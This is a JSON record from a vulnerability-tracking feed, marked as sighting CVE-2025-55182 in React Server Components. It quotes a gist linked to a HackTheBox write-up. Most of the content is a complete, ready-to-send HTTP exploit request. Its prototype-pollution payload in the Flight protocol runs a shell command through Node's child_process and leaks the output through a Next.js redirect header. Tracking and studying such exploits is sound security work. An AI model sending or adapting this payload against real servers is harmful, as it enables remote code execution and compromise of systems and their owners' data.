{"uuid": "4ebcc441-d298-4d44-b94c-e1883f7d3ca5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2025-55182", "type": "seen", "source": "https://gist.github.com/Gixploit/71c479c70b16be9aba990ad94e3b341c", "content": "# Explicaci\u00f3n en https://gixploit.com/writeup/hackthebox/machine/reactor#an\u00e1lisis-de-la-vulnerabilidad-react2shell-cve-2025-55182\n\n# Este exploit aprovecha un fallo de deserializaci\u00f3n en el protocolo Flight de React Server Components (RSC) para lograr ejecuci\u00f3n \n# remota de comandos (RCE) y exfiltrar la respuesta mediante cabeceras de redirecci\u00f3n.\n\n# This exploit leverages a deserialization vulnerability in the React Server Components (RSC) Flight protocol to achieve \n# Remote Code Execution (RCE) and exfiltrate output via redirect headers.\n\nPOST / HTTP/1.1\nHost: [target:port]\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad\nNext-Action: x\nContent-Length: 762\n\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\nContent-Disposition: form-data; name=\"0\"\n\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('id',{timeout:30000}).toString().trim();throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/exploit?out=${encodeURIComponent(res)};307;`});\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\nContent-Disposition: form-data; name=\"1\"\n\n\"$@0\"\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\nContent-Disposition: form-data; name=\"2\"\n\n[]\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad--", "creation_timestamp": "2026-08-10T20:32:25.125569Z"}